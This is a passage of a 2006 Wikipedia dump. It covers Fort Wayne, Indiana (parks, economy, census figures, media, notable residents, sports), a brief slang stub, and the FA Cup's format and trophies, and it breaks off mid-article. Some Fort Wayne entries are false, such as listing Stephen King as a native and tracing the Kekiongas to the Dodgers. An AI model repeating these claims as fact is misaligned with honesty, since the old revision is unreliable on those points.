For a regional &quot;summit,&quot; Fort Wayne is fairly flat. There are some local wetlands and gravel pits. West of the St. Joseph's River and St. Mary's River is part of the Tipton Till Plain, with deep dark brown soil. Land east of there is the former [[Black Swamp]], a soil heavy with clay that forms deep cracks in August and must be plowed in the fall because it's too wet in the spring. 

===Major parks===
Fort Wayne's first park, the 0.2 acre (800&amp;nbsp;m&amp;sup2;) Old Fort Park, was established in [[1863]]. The newest park, the 170 acre (690,000&amp;nbsp;m&amp;sup2;) Salomon Farm Park, was established in [[1995]]. As of 2005, the city had 87 parks covering 2,199.55 acres (8.9&amp;nbsp;km&amp;sup2;).

* Buckner Farm Park 
* [[Foellinger-Freimann Botanical Conservatory]]
* Foster Park 
* Franke Park, the city's largest at 316.4 acres (1.3 km²), home to the [[Fort Wayne Children's Zoo]] 
* Freimann Square 
* Historic Old Fort 
* Hurshtown Reservoir 
* Japanese Garden 
* [[Johnny Appleseed Park]], including the gravesite of [[Johnny Appleseed]] 
* Lakeside Park 
* Lindenwood Nature Preserve
* McMillen Park 
* [[Little Turtle]] Memorial 
* Shoaff Park

==Economy==
In the mid-[[20th century]], Fort Wayne was a major manufacturing center of the northeastern United States. Major employers included [[General Electric]] (which was a merger of many electric companies including Fort Wayne's Jenny Electric), [[International Harvester]] (left Fort Wayne in [[1983]]), and Tokheim gasoline pumps (sold in [[2003]]). Phelps Dodge, Rea Wire, and Essex Wire comprised the largest concentration of [[copper]] and [[enamel wire]] manufacturing in the world. In the latter half of the 20th century, shifts in manufacturing patterns led to the reduction of the number of manufacturing plants and jobs, and Fort Wayne could be counted among the relatively stagnant &quot;[[rust belt]]&quot; cities of the northeast.

In recent decades growth based on a more diverse economy has resumed. [[General Motors]] opened the Truck and Bus Assembly operation in the [[1980s]].  Fort Wayne employs many in the transportation and logistics sector, with Sirva, the [[Norfolk_Southern_Railway]], along with its subsidiaries [http://www.triplecrownsvc.com/ Triple Crown Services] (supplying intermodal services) and [http://www.trnswrks.com/ TransWorks] (supplying carrier and shipper transportation tools), and Kitty Hawk Air Cargo combining for more than 2,500 local jobs.  [[National defense]] is also an increasingly important component of the local economy, with [[ITT]] and [[Raytheon]] employing more than 1,000 people each.  

Mid-Size businesses have also shown growth throughout the Fort Wayne area. Insurance companies such as K&amp;K Insurance, Brotherhood Mutual Insurance Company, and Insurance &amp; Risk Management, one of Indiana’s largest private insurance companies, have their headquarters in the Fort Wayne area. The finance sector has grown in recent years as well, having accounting firms such as Baden Gage and Schroeder and the bank headquarters of Star Financial Group. Recently the city had lost almost 1,000 jobs due to the sale of Waterfield Mortgage Company.

A secure area at the [[Fort Wayne International Airport]] (formerly known as Baer Field) houses the [[Indiana Air National Guard]]'s 122nd Fighter Wing, which flies the [[F-16]] fighter.

While the homegrown [[Lincoln National Corporation]] has changed names and relocated its headquarters to [[Philadelphia]], Lincoln Financial still employs about 1,500 professionals in the city and contributes millions of dollars annually to local charities and civic causes.

== Demographics ==
[[Image:US-IN-Allen County Municipalities.png|thumb|right|300px|Fort Wayne is the largest city in Allen County, Indiana. This map shows its relations with nearby municipalities and major roadways. Unincpororated towns are marked with a dark red dot.]]

As of the [[census]]{{GR|2}} of [[2000]], there were 205,727 people, 83,333 households, and 50,666 families residing in the city. In 2003, the Census Bureau revised the population of Fort Wayne upward to 220,486 to reflect neighborhood annexation after 2000.

On [[January 1]], 2006 an additional annexation of 13 square miles of suburban Aboite Township into the City of Fort Wayne became effective. It brought in approximately 30,000 additional people, boosting the city's overall population to an estimated 250,000.

There are 90,915 housing units at an average density of 444.6/km&amp;sup2; (1,151.5/mi&amp;sup2;).  The racial makeup of the city is 75.45% [[Race (U.S. Census)|White]], 17.38% [[Race (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.39% [[Race (U.S. Census)|Native American]], 1.56% [[Race (U.S. Census)|Asian]], 0.04% [[Race (U.S. Census)|Pacific Islander]], 2.91% from [[Race (U.S. Census)|other races]], and 2.26% from two or more races.  5.78% of the population are [[Hispanic American|Hispanic]] or [[Race (U.S. Census)|Latino]] of any race.

There are 83,333 households out of which 31.5% have children under the age of 18 living with them, 41.9% are [[Marriage|married couples]] living together, 14.6% have a female householder with no husband present, and 39.2% are non-families. 32.6% of all households are made up of individuals and 10.3% have someone living alone who is 65 years of age or older.  The average household size is 2.41 and the average family size is 3.08.

In the city the population is spread out with 27.0% under the age of 18, 10.7% from 18 to 24, 30.2% from 25 to 44, 19.7% from 45 to 64, and 12.5% who are 65 years of age or older.  The median age is 33 years.  For every 100 females there are 94.0 males.  For every 100 females age 18 and over, there are 90.4 males.

The median income for a household in the city is $36,518, and the median income for a family is $45,040. Males have a median income of $34,704 versus $25,062 for females. The [[per capita income]] for the city is $18,517.  12.5% of the population and 9.6% of families are below the [[poverty line]].  Out of the total population, 17.5% of those under the age of 18 and 7.6% of those 65 and older are living below the poverty line.

==Media==
===Newspapers===
*''[[Journal Gazette]]'', daily morning newspaper
*''[[The News-Sentinel]]'', daily evening newspaper owned by [[Knight Ridder]]
*''[[Fort Wayne Business Weekly]]'', weekly business news, information &amp; features
*''[[Whatzup]]'', weekly entertainment newspaper
*''Ink'' weekly [[African American]] newspaper
*''[[Frost Illustrated]]'', weekly [[African American]] newspaper
*''Macedonian Tribune'', monthly [[Macedonian language|Macedonian]] newspaper.
*''[[Aboite &amp; About]]'', monthly community publication owned by [[Times Group Inc]]
*''[[Dupont Valley Times]]'', monthly community publication owned by [[Times Group Inc]]
*''[[St. Joe Times]]'', monthly community publication owned by [[Times Group Inc]]
*''[[George Town Times]]'', monthly community publication owned by [[Times Group Inc]]
*''[[East Allen County Times]]'', monthly community publication owned by [[Times Group Inc]]
*&quot;[[The Communicator]]&quot;, IPFW's weekly student newspaper

===Television===
Fort Wayne is the 106th-largest television market in the United States according to [[Nielsen Media Research]].

{| class=&quot;wikitable&quot;
|- bgcolor=&quot;#CCCCCC&quot;
| rowspan=&quot;2&quot;| '''Callsign''' 
| colspan=&quot;2&quot; | '''Channel''' 
|rowspan=&quot;2&quot;| '''Network&lt;br&gt;Affiliation''' 
|rowspan=&quot;2&quot;|'''Callsign&lt;br&gt;Meaning''' 
|rowspan=&quot;2&quot;| '''Branding'''
|rowspan=&quot;2&quot;| '''Owner'''
|rowspan=&quot;2&quot;| '''City'''
|- bgcolor=&quot;#CCCCCC&quot;
|[[NTSC]] || [[DTV]]
|-
|[[W07CL]] || 7 || || [[UATV]]|| || UATV 7 ||  [[Raymond S. and Dorothy N. Moore Foundation]] || [[Auburn, Indiana|Auburn]]
|-
|rowspan=3 |[[WANE-TV|WANE]]
||15 ||31.1||[[CBS]]
|rowspan=3| Fort '''WA'''y'''NE'''
|rowspan=3| News Channel 15
|rowspan=3| [[LIN TV]]
|rowspan=3| Fort&amp;nbsp;Wayne
|-
|| ||31.2 || [[UPN]]
|-
|| ||31.3 || [[weather radar]]
|-
|[[WDFM-LP|WDFM]] || 26 || || [[Independent station|Ind.]] || || || [[Clear Channel]] ||[[Defiance, Ohio|Defiance]]
|-
|[[WFFT-TV|WFFT]] || 55 || 36 || [[Fox Broadcasting Company|Fox]] || '''W''' '''F'''ifty '''F'''ive '''T'''elevision ||FOX55 || [[Nexstar Broadcasting]] ||Fort&amp;nbsp;Wayne
|-
|rowspan=4|[[WFWA]]
||39 || 40.1 || [[Public Broadcasting Service|PBS]]
|rowspan=4| '''W''' '''F'''ort '''WA'''yne
|rowspan=4| PBS39
|rowspan=4| [[Fort Wayne Public Broadcasting]]
|rowspan=4| Fort&amp;nbsp;Wayne
|-
|| || 40.2 || [[PBS KIDS Sprout|PBS KIDS]]
|-
|| || 40.3 || [[PBS Encore]]
|-
|| || 40.4 || [[PBS YOU]]
|-
|[[WFWC-CA|WFWC]] ||45|| || [[MTV2]] || '''W''' '''F'''ort '''W'''ayne '''C'''hannel || || [[Tran Star]] || Fort&amp;nbsp;Wayne
|-
|[[WINM]] ||63 ||12|| [[Tri-State Christian Television|TCT]] || || || [[Tri-State Christian Television|TCT]] [[O&amp;O]] || [[Angola, Indiana|Angola]]
|-
|rowspan=2|[[WISE-TV|WISE]]
||33 ||19.1 || [[National Broadcasting Company|NBC]] || ||NBC33
|rowspan=2| [[Granite Broadcasting]]
|rowspan=2| Fort&amp;nbsp;Wayne
|-
|| ||19.2|| [[weather radar]] || || Supercell Live Radar
|-
|rowspan=2|[[WPTA]]
||21 ||24.1 || [[American Broadcasting Company|ABC]] || ||21 Alive
|rowspan=2| [[Malara Broadcasting]]
|rowspan=2| Fort&amp;nbsp;Wayne
|-
|| ||24.2|| [[weather radar]] || || Supercell Live Radar
|}

===Radio===
{|
|
*WAJI-FM 95.1 
*WBCL-FM 90.3 
*WBNI-FM 88.7
*WBOI-FM 89.1
*WBTU-FM 93.3 
*WBYR-FM 98.9
*WCYT-FM 91.1
*WFCV-AM 1090 
*WFWI-FM 92.3
*WGL-AM 1250 
*WCKZ-FM 94.1 
*WXTW-FM 102.3 
*WGOM-AM 860  
*WGLL-AM 1570 
|
*WJFX-FM 107.9 
*WJHS-FM 91.5 
*WKJG-AM 1380
*WLAB-FM 88.3  
*WLDE-FM 101.7 
*WLYV-AM 1450 
*WMEE-FM 97.3 
*WMRI-FM 106.9 
*WNHT-FM 96.3 
*[[WOWO]]-AM 1190 
*WPDJ-AM 1300  
*WSHI-FM 106.3 
*WQHK-FM 105.1 
*WVSH-FM 91.9 
*WXKE-FM 102.9 
|}

==Sites of interest==

===Architecture of note===

[[Image:Fort-wayne-lincoln-tower.jpg|thumb|[[Lincoln Bank Tower]]]]

* [[Allen County Courthouse]], 700 block of South Clinton Street, government building, by [[Brentwood S. Tolan]], 1897-[[1902]]
* Anthony Wayne Bank Building, 203 East Berry Street, commercial high-rise, [[1960]]
* [[Center School]], 1893 schoolhouse restored to its original state
* Commerce Building, 127 West Berry Street, [[Beaux-Arts architecture]] high rise, [[1923]]
* Crooks House, residence, by [[postmodernism|postmodernist]] architect [[Michael Graves]], [[1976]] 
* Fine Arts Center, School and Performing Arts Theater, theatre, by [[L. I. Kahn]], 1966-[[1973]]
* Fort Wayne National Bank Building ([[National City Bank]]), [[skyscraper]], [[1970]]
* [[Fort Wayne Old City Hall Building|Old City Hall]], government building, [[1893]]
* J. B. Franke House, residence, [[1914]]
* Hanselmann House, residence, by [[postmodernism|postmodernist]] architect [[Michael Graves]], [[1967]]
* [[One Summit Square]] ([[J.P. Morgan Chase|Chase Bank]]), skyscraper, [[1981]]
* [[Richardville House]], residence, [[1827]]
* Haus der Schönen Künste - Fine Arts Center, museum, by [[L. I. Kahn]], 1961-[[1964]]
* [[Lincoln Bank Tower]], 116 East Berry Street, skyscraper, by [[Alvin M. Strauss]], [[1929]]
* [[Snyderman House]], residence, by [[postmodernism|postmodernist]] architect [[Michael Graves]], [[1972]]

== Education ==
=== Colleges/universities ===
*[[Concordia Theological Seminary]] of the [[Lutheran Church - Missouri Synod]]
*[[Fort Wayne Center for Medical Education]] (a branch of Indiana University School of Medicine)
*[[Indiana Business College]][http://www.ibcschools.edu/Campuses/fortwayne.asp]
*[[Indiana Institute of Technology]] (IIT)
*[[International Business College]][http://www.ibcfortwayne.edu ]
*[[IPFW|Indiana University-Purdue University Fort Wayne]] (IPFW)
*[[Ivy Tech State College]]
*[[Taylor University]] Fort Wayne
*[[University of Saint Francis (Indiana)|University of Saint Francis]]

===Public school districts===
* [[Southwest Allen County Schools]][http://www.sacs.k12.in.us]
* [[Northwest Allen County Schools]][http://www.nacs.k12.in.us]
* [[East Allen County Schools]][http://www.eacs.k12.in.us]
* [[Fort Wayne Community Schools]][http://www.fwcs.k12.in.us]

== Sports teams ==
{| style=&quot;border: 1px solid #ADADAD; margin-bottom: 10px; padding-bottom: 5px;&quot;
|- bgcolor=#ADADAD align=left
! width=150px | Club
! width=100px | Sport
! width=270px | League
! width=120px | Stadium (or Arena)
| width=50px | Logo
|-
| [[Fort Wayne Fever]]
| [[Soccer]]
| [[Premier Development League]]
| [[Hefner Field ]]
| align=&quot;center&quot; | [[Image:Fort Wayne Fever logo.png|35px|Fort Wayne Fever logo]]
|-
| [[Fort Wayne Flyers]]
| [[American football|Football]]
| [[Minor League Football Association]]
| [[Dave S. Walter Memorial Stadium]]
| [[Image:Fort Wayne Flyers logo.png|100.png|50px|Fort Wayne Flyers logo]]
|-
| [[Fort Wayne Freedom]]
| [[Arena football]]
| [[United Indoor Football Association]]
| [[Allen County War Memorial Coliseum|Memorial Coliseum]]
| [[Image:Fort Wayne Freedom logo.png|50px|Fort Wayne Freedom logo]]
|-
| [[Fort Wayne Komets]]
| [[Hockey]] 
| [[United Hockey League]]
| [[Allen County War Memorial Coliseum|Memorial Coliseum]]
| [[Image:Fort Wayne Komets.gif|50px|Fort Wayne Komets logo]]
|-
| [[Fort Wayne Wizards]]
| [[Baseball]]
| [[International League]]
| [[Allen County War Memorial Stadium|Memorial Stadium]]
| align=&quot;center&quot; | [[Image:FortWayneWizards.png|40px|Fort Wayne Wizards logo]]
|}
===Former sports teams===
{| style=&quot;border: 1px solid #ADADAD; margin-bottom: 10px; padding-bottom: 5px;&quot;
|- bgcolor=#ADADAD align=left
! width=150px | Club
! width=100px | Sport
! width=270px | League
! width=120px | Years
| width=50px | Logo
|-
| [[Fort Wayne Daisies]]
| [[Baseball]]
| [[All-American Girls Professional Baseball League]]
| [[1943]] - [[1954]]
| align=&quot;center&quot; | [[Image:Fort Wayne Daisies logo.png|40px|Fort Wayne Daisies logo]]
|-
| [[Fort Wayne Flames]]
| [[Soccer]]
| [[American Indoor Soccer Association]]
| [[1986]]
| align=&quot;center&quot; | [[Image:Fort Wayne Flames logo.gif|40px|Fort Wayne Flames logo]]
|-
| [[Fort Wayne Friars]]
| [[American football|Football]]
| 
| [[1910]] - [[1917]]
| 
|-
| [[Fort Wayne Fury]]
| [[Basketball]]
| [[Continental Basketball Association]]
| 
| align=&quot;center&quot; | [[Image:Fort Wayne Fury logo.gif|40px|Fort Wayne Fury logo]]
|-
| [[Fort Wayne General Electrics]]
| [[Basketball]]
| [[National Basketball Association]]
| [[1937]] - [[1938]]
| 
|-
| [[Fort Wayne Kekiongas]]
| [[Baseball]]
| [[Major League Baseball]] [[National League]]
| [[1871]]
| 
|-
| [[Fort Wayne Pistons]]
| [[Basketball]]
| [[National Basketball Association]]
| [[1941]] - [[1957]]
| align=&quot;center&quot; | [[Image:Fort Wayne Zollner Pistons logo.gif|35px|Fort Wayne Pistons logo]]
|-
| [[Indiana Kick]]
| [[Soccer]]
| [[American Indoor Soccer Association]]
| [[1989]]
| align=&quot;center&quot; | [[Image:Indiana Kick logo.gif|40px|Indiana Kick logo]]
|-
| [[Fort Wayne River City Rhinos|River City Rhinos]]
| [[American football|Football]]
| [[Mid-Continental Football League]]
| 
| align=&quot;center&quot; | [[Image:River City Rhinos logo.gif|35px|River City Rhinos logo]]
|}

==Planes, Trains &amp; Automobiles==
[[Fort Wayne International Airport]][http://www.fwairport.com/] (formerly known as Baer Field, originally known as Smith Field) is the only Midwest commercial airport, other than Chicago's O'Hare, with a 12,000-foot runway. A construction project now underway will strengthen the runway to make it useable by heavier airplanes that need a longer runway. Passenger service is provided by Air Wisconsin ([[United Express]]). American Eagle ([[American Airlines|American Eagle]]),  [[ATA]], CommutAir ([[Continental Connection]] affiliate), Atlantic Southeast ([[Delta Connection]]), Comair ([[Delta Connection]], Mesaba ([[Northwest Airlink]]), Pinnacle ([[Northwest Airlink]]), and Sky West ([[United Express]]).

[[Amtrak]] offers daily passenger trains with a station in Waterloo ([[Garrett, Indiana]]), 24 miles north of downtown Fort Wayne along I-69.

Fort Wayne Public Transportation Corporation[http://www.fwcitilink.com/index.htm] ''Citilink'' provides bus service between downtown, urban shopping centers and area employment locations.

Fort Wayne is located on Interstate I-69, US 24, US 27, [[US 30]] (the [[Lincoln Highway]]), and US 33.

==Notable natives and former residents==
===Athletes===
* [[Lloy Ball]], [[Olympics|olympic]] and pro [[volleyball]] player
* [[DaMarcus Beasley]], professional soccer player for [[PSV Eindhoven]] ([[Eredivisie|Netherlands]]) and the [[United States men's national soccer team|US national team]], who used to play for the [[Chicago Fire (soccer)|Chicago Fire]] of [[Major League Soccer|MLS]].
* [[Jamar Beasley]], former professional soccer player for the [[New England Revolution]] and the Chicago Fire of MLS.
* [[Vaughn Dunbar]], athlete, [[NFL]] [[New Orleans Saints]]
* [[Jason Fabini]], athlete, [[NFL]] [[New York Jets]]
* [[Art Smith]], aviator, invented &quot;loop the loop&quot;
* [[Rod Woodson]], athlete, [[NFL]] [[Oakland Raiders]]

===Artists and Designers===
* [[Bill Blass]], fashion designer
* [[Gray Morrow]], [[comic book]] artist and illustrator
===Authors===
* [[Edith Hamilton]], author, mythology expert
* [[Stephen King]], author, horror stories
* [[Ross Lockridge, Jr.]], author, ''[[Raintree County]]''
===Entertainers===
* [[Joey Allen]], [[glam metal]] [[guitarist]], [[Warrant (American band)|Warrant]]
* [[Julia Barr]], actress, ''[[All My Children]]''
* [[Eric Bruskotter]], actor, ''[[Starship Troopers]]'', ''[[Six Feet Under]]''
* [[Dan Butler]], actor ''[[Frasier]]''
* [[Sharon Gabet]], actress,''[[The Edge of Night]]'', ''[[One Life to Live]]''
* [[Hilliard Gates]], sportscaster
* [[Heather Headley]], Broadway and R&amp;B singer
* [[Drake Hogestyn]], actor ''[[Days of Our Lives]]''
* [[Neil LaBute]], director
* [[Carole Lombard]], actress, ''[[My Man Godfrey]]''
* [[Shelley Long]], actress, ''[[Cheers]]''
* [[Mark McLendon II]], musician
* [[Patrick McVey]], actor, ''[[Dark Shadows]]'', ''[[North by Northwest]]''
* [[Ed Metcalfe]], saxophonist with Spike Jones
* [[Amanda Perez]], [[R&amp;B]] singer
* [[Robert Rusler]], actor, ''[[Babylon 5]]'', ''[[Weird Science]]''
* [[Herbert Schiner]], comic &quot;Herb Shriner&quot;, father of Wil Shriner
* [[Randy Thompson]], actor, ''[[Buffy the Vampire Slayer]]''
* [[Herb Vigran]], actor, ''[[White Christmas (film)|White Christmas]]'', ''[[The Flintstones]]'', ''[[Benji]]''
* [[Dick York]], actor, ''[[Bewitched]]''
===Business leaders and inventors===
* [[Kris Bex]], president, [[Remnant Trust]]
* [[Andrew George Burry]], paper box manufacturer
* Joseph and Cornelius Hoagland, invented baking powder
* Henry C. Paul and John C. Peters, manufactured first self-contained washing machine.
* [[Johnny Appleseed|John Chapman]], orchardist. 
* Isaac T. Packard, manufactured pianos and organs
* Lewis Centlivre, brewer
* Silvanus Bowser, invented the gas pump
* James Jenny, perfected arc light. Jenny Electric became General Electric.
* [[Philo T. Farnsworth]], inventor of the television
* [[Dale W. McMillan|Dale &quot;Mr. Mac&quot; McMillan]], founder of [[Central Soya]], Wayne Feeds, Allied Mills
* [[Ian Rolland]], former [[Lincoln Financial Group|Lincoln National Corporation]] executive, philanthropist
* [[Dave Thomas]], founder of [[Wendy's International]] 
* [[Fred Zollner]], industrialist, founder of the [[National Basketball Association]] and the ''Fort Wayne Zollner Pistons'', later the [[Detroit Pistons]].

===Public servants===
* [[Dan Coats|Daniel R. Coats]], U.S. ambassador to Germany, former U.S. representative, U.S. senator
* [[Hugh McCulloch]], former [[United States Secretary of the Treasury]], namesake of [[McCulloch Park]]
* [[Mark Souder]], U.S. Representative
* Harry Baals, former Mayor
* [[Paul Baer]], pilot. first American ace of [[World War I]]

==Religious centers==
*[[Fundamental Baptist Fellowship Association]]
*[[Missionary Church|Missionary Church, Inc.]]
*[[Evangelical Mennonite Church|Fellowship of Evangelical Churches (formerly Evangelical Mennonite Church)]]
*[[Abundant Life Tabernacle]]

== Cultural impact ==
===Film/TV shot in Fort Wayne===
* ''[[In the Company of Men]]''
* ''[[American Reel]]''
* ''[[The Last Roadstop]]''
* ''[[Endless Bread]]''

===Famous fictional characters from Fort Wayne===
* [[Frank Burns]], fictional doctor, ''[[M A S H|M*A*S*H]]''
* Fawn Liebowitz, fictional character, ''[[Animal House]]''
* George Taylor, fictional character, ''[[Planet of the Apes]]''
* &quot;Topside&quot; fictional character, ''[[GI Joe]]''

===Fiction set in Fort Wayne===
* [[Richard Bach]]'s 1977 book ''Illusions: The Adventures of a Reluctant Messiah'' is set in the ''mystical hills'' east of Fort Wayne, Indiana. East of Fort Wayne is the remnants of the [[Black Swamp]], the flattest land in Indiana and Ohio.

==Sister cities==
Fort Wayne has three [[Sister city|sister cities]]:
* [[Gera]], [[Germany]] since 1992
* [[Płock]], [[Poland]]
* [[Takaoka, Toyama|Takaoka]], [[Japan]] since 1977

==Trivia==
* On June 3, 1883, Fort Wayne hosted the Quincy Professionals for the first lighted baseball game involving a professional team (the very first lighted game of any kind was played earlier that year in Lowell, Massachussetts).
* The first game of the [[National League]] of Professional Baseball Players was played on May 4, 1871, between the Fort Wayne Kekiongas and the Cleveland Forest Citys. The Kekiongas failed halfway through the first season, and moved to New York, where they became the Brooklyn Trolley Dodgers and eventually today's [[Los Angeles Dodgers]] professional baseball team.
* Fort Wayne was the home of the Daisies, the first women's professional baseball team


== External links ==
* [http://www.cityoffortwayne.org/ Official city web page]
* [http://www.cityoffortwayne.org/new/news/jun03news/jun_20_03.htm 2003 Census adjustment]
* [http://www.fortwayne.com/mld/journalgazette/ ''The Journal Gazette'' daily morning newspaper]
* [http://www.fortwayne.com/mld/newssentinel/ ''News-Sentinel'' daily afternoon newspaper]
* [http://www.fwbusiness.com/ Fort Wayne Business Weekly]
* [http://www.whatzup.com/ ''Whatzup'' weekly entertainment newspaper]
* [http://www.fortwaynereader.com ''Fort Wayne Reader'' entertainment periodical]
* [http://www.fwchamber.org/ Chamber of Commerce]
* [http://www.allencountygop.com/ Allen County GOP]
* [http://www.visitfortwayne.com/ Convention and Visitor's Bureau]
* [http://www.fwacc.org/ Fort Wayne Animal Care and Control]
* [http://www.cityoffortwayne.org/iTeams City of Fort Wayne iTeams (Innovation Teams)]
* [http://www.fwchurches.com/ FWChurches]
{{Mapit-US-cityscale|41.078348|-85.126546}}

{{Indiana}}


[[Category:1794 establishments]]
[[Category:Allen County, Indiana]]
[[Category:Cities in Indiana]]
[[Category:Fort Wayne, Indiana| ]]

[[de:Fort Wayne]]
[[eo:Fort Wayne (Indianao)]]
[[fr:Fort Wayne (Indiana)]]
[[io:Fort Wayne, Indiana]]
[[la:Castrum Vainense, Indiana]]
[[sv:Fort Wayne]]</text>
    </revision>
  </page>
  <page>
    <title>Fart</title>
    <id>11236</id>
    <revision>
      <id>42120298</id>
      <timestamp>2006-03-03T23:24:27Z</timestamp>
      <contributor>
        <username>-Barry-</username>
        <id>647870</id>
      </contributor>
      <text xml:space="preserve">:''This article is about the word &quot;fart&quot;. For information about flatulence, see [[flatulence]].''

'''Fart''' is a [[slang]], [[vulgar]], or non-technical term meaning to flatulate, when gas, including [[methane]], [[carbon dioxide]] and [[hydrogen sulfide]] is exerted from the intestines and out through the sphincter, sometimes creating a sound and an unpleasent smell. Many euphemisms have been formed such as &quot;pass gas&quot;, &quot;break wind&quot;, &quot;cut the cheese&quot;, &quot;toot&quot;, &quot;let it rip&quot;, &quot;poot&quot;, &quot;shart&quot;, and much more. The word is popular among youths and a source of humor to them.
[[Category:Slang]]</text>
    </revision>
  </page>
  <page>
    <title>FA Cup</title>
    <id>11237</id>
    <revision>
      <id>41298029</id>
      <timestamp>2006-02-26T10:32:32Z</timestamp>
      <contributor>
        <username>Robdurbar</username>
        <id>320488</id>
      </contributor>
      <comment>hardly a famous shock, champ at home beating prem</comment>
      <text xml:space="preserve">[[Image:FA Cup.jpg|right|frame|The FA Cup - this is the fourth trophy, in use since 1992, and identical in design to the third trophy introduced in 1911.  The trophy shares its name with the competition.]]
The '''Football Association Challenge Cup''', commonly known as the '''FA Cup''', is the main &quot;knockout&quot; cup competition in [[England|English]] [[Football (soccer) |football]], run by and named after [[The Football Association]]. 

The FA Cup is the oldest football [[competition]] in the world. As such its prestige as the sport's premier domestic cup competition is without par around the world. As it involves clubs of all standards playing against each other, there is great scope for &quot;giant-killers&quot; from the lower divisions to eliminate top clubs from the tournament. A record 674 teams have entered the [[FA Cup 2005-06|FA Cup in 2005-2006]]. In comparison, the [[League Cup]], a lower prestige English football knockout tournament, can only have the 92 members of [[the Football League]] (who organise the competition) and [[FA Premier League]] compete.

The name &quot;FA Cup&quot; usually refers to the English men's tournament. The equivalent competition for women's teams is the [[FA Women's Cup]]. The women's cup has a much lower public profile than the men's, in common with all [[women's football (soccer)|women's football]] in England. Many nations also have similar competitions, inspired by this legendary tournament.

[[Arsenal F.C.]] are the current holders of the trophy, although they have been eliminated from the 2005-2006 Cup by [[Bolton Wanderers]].

== Format ==
The competition is a [[knockout tournament]] with pairings drawn completely at random - there are no [[Single-elimination_tournament#Seeding|seeds]]. The draw also determines which team will play at home. If a match is drawn, there is a replay at the ground of the other team. Drawn replays are now settled with [[extra time]] and [[Penalty shootout (football)|penalty shootouts]], though in the past further replays were possible, and some ties took as many as six matches to settle.

Traditionally the final is played at [[London]]'s [[Wembley Stadium]]. However, due to extensive redevelopment of Wembley, finals have been played at the [[Millennium Stadium]] in [[Cardiff]] since 2001. Although early venues include [[the Oval|Kennington Oval]] and [[Crystal Palace National Sports Centre|Crystal Palace]] [http://www.groundtastic.ukgateway.net/images/Postcards%20Pics/Crystal%20Palace.jpg], this was the first time the final had been played outside of England (it should be noted that Welsh sides such as [[Cardiff City F.C.]] do participate in the cup). The FA had hoped that the 2006 final would take place at the rebuilt Wembley stadium, but the FA Cup final on [[May 13]], [[2006]] will be played at the Millennium Stadium, because the builders have failed to guarantee that it will be completed on time.

The semi-finals are contested at neutral venues; in the past these have usually been the home grounds of teams not involved in that semi-final, such as [[Old Trafford (football)|Old Trafford]] in [[Manchester]], [[Villa Park, England|Villa Park]] in [[Birmingham]] and [[Hillsborough (stadium)|Hillsborough]] in [[Sheffield]]. However, in [[2005]] both semi-finals were held at the Millennium Stadium, which may be repeated in 2006. In future years it is expected that all semi-finals will be played at the new Wembley Stadium.

The competition begins in August with the Extra-Preliminary Qualifying Round contested by clubs occupying a low position in the [[English football league system]], which any FA affiliated club meeting a basic standard of ability and ground facilities may enter. 644 clubs entered the competition in the 2003/04 season, a (then) record 660 for 2004/05 (the old record was 656 in 1921/22), and new record of 674 for 2005/06. Following the Extra-Preliminary Qualifying Round is a Preliminary Qualifying Round, four Qualifying Rounds, and six Rounds of the competition proper, followed by the Semi-Finals and the Final. All of [[FA Premier League]] and [[The Football League|Football League]] clubs may enter. Non-league clubs may also enter if they competed in the previous season's [[FA Trophy]] or [[FA Vase]] and are deemed to be playing in an &quot;acceptable&quot; league for the current season. All clubs entering the competition must have a suitable and safe [[stadium]] capacity.

Clubs higher up the [[English football league system]] are given byes to certain rounds. For example, clubs playing in the [[Conference North]] or [[Conference South]] are given a bye to Second Qualifying Round, while those from the [[Conference National]] are given a bye to the Fourth Qualifying Round. Clubs from [[Football League One]] and [[Football League Two]] are given a bye into the First Round proper in November, and [[Football League Championship]] and [[FA Premier league|Premier League]] teams are given a bye into the Third Round, traditionally held in the first weekend in January. The Final is played at the end of the season in May.

Since the foundation of The Football League, [[Tottenham Hotspur F.C.|Tottenham Hotspur]] in [[1901]] have been the only non-league winners of the FA Cup. They were then playing in the [[Southern Football League|Southern League]] and were only elected to the Football League in [[1908]]. At that time the Football League consisted of only two 18-team divisions; Spurs's victory then would be comparable to a team near the bottom of the third level of the English football pyramid (currently League One) winning today.

The winning team qualifies by right for the first round of the [[UEFA Cup]]. If the winners also qualify for the [[UEFA Champions League|Champions League]] by merit of league position, the losing finalist qualifies for the UEFA Cup in their place. If both finalists qualify for the Champions League, an extra UEFA Cup place is given on the basis of Premier League position.

==Trophies==
[[Image:Littletinidol.jpg|thumb|right|The first FA Cup trophy]]
At the end of the final, the winning team is presented with a trophy, also known as the &quot;FA Cup&quot;, which they hold until the following year's final. Traditionally, at Wembley finals, the presentation was made at the Royal Box, with players, led by the captain, mounting a staircase to a gangway in front of the box and returning by a second staircase on the other side of the box. At Cardiff the presentation has been made on a podium on the pitch. The cup is decorated with ribbons in the colours of the winning team; a common riddle asks, &quot;What is always taken to the Cup Final, but never used?&quot; (The answer is, &quot;the losing team's ribbons&quot;). Individual members of the teams playing in the final are presented with winners' and losers' medals.

The present FA Cup trophy is the fourth. The first, the 'little tin idol', was used from the inception of the Cup in 1871-2 until it was stolen from a [[Birmingham]] shop window belonging to [[William Shillcock]] while held by [[Aston Villa F.C.|Aston Villa]] on [[September 11]], [[1895]]. It was never seen again and is presumed to have been melted down. The second trophy was a replica of the first, and was last used in [[1910]] before being presented to the FA's long-serving president [[Arthur Fitzgerald Kinnaird, 11th Lord Kinnaird|Lord Kinnaird]]. It was sold at [[Christie's]] on [[May 19]] 2005 for [[Pound sterling|£]]420,000 (£478,400 including auction fees and taxes) to [[David Gold]], the chairman of [[Birmingham City F.C.|Birmingham City]]. A new, larger, trophy was bought by the FA in [[1911]] designed and manufactured by Fattorini's of [[Bradford]] and won by [[Bradford City A.F.C.|Bradford City]] in its first outing, the only time a team from Bradford has reached the final. This trophy still exists but is now too fragile to be used, so an exact replica was made and has been in use since the [[1992]] final. Therefore, though the FA Cup is the oldest domestic football competition in the world, its ''trophy'' is not the oldest; that title is claimed by the [[Scottish Cup]].

== Sponsorship ==
Since the start of the 1994-95 season, the FA Cup has been sponsored.  However, to protect the identity of the famous competition, the name has never changed from &quot;The FA Cup&quot;, unlike in sponsorship deals for the [[League Cup]]. Instead, the competition has been known as &quot;The FA Cup sponsored by ...&quot;

